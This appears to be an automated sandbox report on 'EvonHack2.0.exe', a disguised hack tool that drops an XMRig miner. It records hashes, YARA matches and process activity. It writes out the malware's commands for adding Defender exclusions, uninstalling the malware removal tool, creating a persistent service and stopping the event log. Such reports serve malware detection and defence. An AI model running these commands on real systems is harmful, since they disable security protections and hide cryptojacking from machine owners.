Analysis
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max time kernel
69s -
max time network
73s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
27/03/2024, 17:44
Static task
static1
Behavioral task
behavioral1
Sample
EvonHack2.0.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
EvonHack2.0.exe
Resource
win10v2004-20240226-en
General
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Target
EvonHack2.0.exe
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Size
5.0MB
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MD5
9f51c225815665095ac496c672c0ce15
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SHA1
d8ede15c9670cd7b9ca27fec7b223c583a03d3ed
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SHA256
10a9adb32b3f0c8417a79b85446a35ab6a0a05d64b1c0f6268a2500eb2367c2f
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SHA512
535cae4fea000165ef3ccc0156d703554fc3131bee7058b8bf19fb29420af4bcc3e10116d5344889229d4bec3f3aa2f3662b28684dd39aa6be22f7d3a3393d9a
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SSDEEP
98304:H0Q3hcBc4w+S3eDOLaRONcSQtgM7X4pEA9MGWt2JlTesZOjxg0sCQscWupFyg9:HdxclOLWO4SMUE0MsJlTAjjs+cWgwc
Malware Config
Signatures
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XMRig Miner payload 9 IoCs
resource yara_rule behavioral2/memory/2288-68-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2288-69-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2288-71-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2288-72-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2288-73-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2288-74-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2288-75-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2288-77-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/2288-78-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Creates new service(s) 1 TTPs
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Stops running service(s) 3 TTPs
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Executes dropped EXE 1 IoCs
pid Process 5116 rkmyteegbysp.exe -
resource yara_rule behavioral2/memory/2288-63-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2288-64-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2288-65-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2288-66-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2288-67-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2288-68-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2288-69-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2288-71-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2288-72-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2288-73-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2288-74-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2288-75-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2288-77-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/2288-78-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\MRT.exe EvonHack2.0.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\MRT.exe rkmyteegbysp.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 5116 set thread context of 3920 5116 rkmyteegbysp.exe 126 PID 5116 set thread context of 2288 5116 rkmyteegbysp.exe 131 -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3140 sc.exe 2380 sc.exe 1064 sc.exe 2412 sc.exe -
Modifies data under HKEY_USERS 46 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 980 EvonHack2.0.exe 2200 powershell.exe 2200 powershell.exe 980 EvonHack2.0.exe 980 EvonHack2.0.exe 980 EvonHack2.0.exe 980 EvonHack2.0.exe 980 EvonHack2.0.exe 980 EvonHack2.0.exe 980 EvonHack2.0.exe 980 EvonHack2.0.exe 980 EvonHack2.0.exe 5116 rkmyteegbysp.exe 3864 powershell.exe 3864 powershell.exe 3864 powershell.exe 5116 rkmyteegbysp.exe 5116 rkmyteegbysp.exe 5116 rkmyteegbysp.exe 5116 rkmyteegbysp.exe 5116 rkmyteegbysp.exe 5116 rkmyteegbysp.exe 5116 rkmyteegbysp.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe 2288 explorer.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 668 Process not Found -
Suspicious use of AdjustPrivilegeToken 19 IoCs
description pid Process Token: SeDebugPrivilege 2200 powershell.exe Token: SeShutdownPrivilege 5048 powercfg.exe Token: SeCreatePagefilePrivilege 5048 powercfg.exe Token: SeShutdownPrivilege 2452 powercfg.exe Token: SeCreatePagefilePrivilege 2452 powercfg.exe Token: SeShutdownPrivilege 536 powercfg.exe Token: SeCreatePagefilePrivilege 536 powercfg.exe Token: SeShutdownPrivilege 2736 powercfg.exe Token: SeCreatePagefilePrivilege 2736 powercfg.exe Token: SeDebugPrivilege 3864 powershell.exe Token: SeShutdownPrivilege 3248 powercfg.exe Token: SeCreatePagefilePrivilege 3248 powercfg.exe Token: SeShutdownPrivilege 4884 powercfg.exe Token: SeCreatePagefilePrivilege 4884 powercfg.exe Token: SeShutdownPrivilege 2324 powercfg.exe Token: SeCreatePagefilePrivilege 2324 powercfg.exe Token: SeShutdownPrivilege 4672 powercfg.exe Token: SeCreatePagefilePrivilege 4672 powercfg.exe Token: SeLockMemoryPrivilege 2288 explorer.exe -
Suspicious use of WriteProcessMemory 18 IoCs
description pid Process procid_target PID 4876 wrote to memory of 1968 4876 cmd.exe 110 PID 4876 wrote to memory of 1968 4876 cmd.exe 110 PID 5116 wrote to memory of 3920 5116 rkmyteegbysp.exe 126 PID 5116 wrote to memory of 3920 5116 rkmyteegbysp.exe 126 PID 5116 wrote to memory of 3920 5116 rkmyteegbysp.exe 126 PID 5116 wrote to memory of 3920 5116 rkmyteegbysp.exe 126 PID 5116 wrote to memory of 3920 5116 rkmyteegbysp.exe 126 PID 5116 wrote to memory of 3920 5116 rkmyteegbysp.exe 126 PID 5116 wrote to memory of 3920 5116 rkmyteegbysp.exe 126 PID 5116 wrote to memory of 3920 5116 rkmyteegbysp.exe 126 PID 5116 wrote to memory of 3920 5116 rkmyteegbysp.exe 126 PID 5116 wrote to memory of 2288 5116 rkmyteegbysp.exe 131 PID 5116 wrote to memory of 2288 5116 rkmyteegbysp.exe 131 PID 5116 wrote to memory of 2288 5116 rkmyteegbysp.exe 131 PID 5116 wrote to memory of 2288 5116 rkmyteegbysp.exe 131 PID 5116 wrote to memory of 2288 5116 rkmyteegbysp.exe 131 PID 2512 wrote to memory of 1364 2512 cmd.exe 132 PID 2512 wrote to memory of 1364 2512 cmd.exe 132
Processes
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C:\Users\Admin\AppData\Local\Temp\EvonHack2.0.exe"C:\Users\Admin\AppData\Local\Temp\EvonHack2.0.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:980 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2200
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:4876 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵PID:1968
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Suspicious use of AdjustPrivilegeToken
PID:2736
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Suspicious use of AdjustPrivilegeToken
PID:5048
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Suspicious use of AdjustPrivilegeToken
PID:2452
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Suspicious use of AdjustPrivilegeToken
PID:536
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "ZFCRXEKK"2⤵
- Launches sc.exe
PID:3140
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "ZFCRXEKK" binpath= "C:\ProgramData\vvbboahddqtd\rkmyteegbysp.exe" start= "auto"2⤵
- Launches sc.exe
PID:2380
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:1064
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "ZFCRXEKK"2⤵
- Launches sc.exe
PID:2412
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C:\ProgramData\vvbboahddqtd\rkmyteegbysp.exeC:\ProgramData\vvbboahddqtd\rkmyteegbysp.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5116 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3864
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2512 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵PID:1364
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Suspicious use of AdjustPrivilegeToken
PID:3248
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Suspicious use of AdjustPrivilegeToken
PID:4884
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Suspicious use of AdjustPrivilegeToken
PID:4672
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Suspicious use of AdjustPrivilegeToken
PID:2324
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:3920
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C:\Windows\explorer.exeexplorer.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2288
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.0MB
MD59f51c225815665095ac496c672c0ce15
SHA1d8ede15c9670cd7b9ca27fec7b223c583a03d3ed
SHA25610a9adb32b3f0c8417a79b85446a35ab6a0a05d64b1c0f6268a2500eb2367c2f
SHA512535cae4fea000165ef3ccc0156d703554fc3131bee7058b8bf19fb29420af4bcc3e10116d5344889229d4bec3f3aa2f3662b28684dd39aa6be22f7d3a3393d9a
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82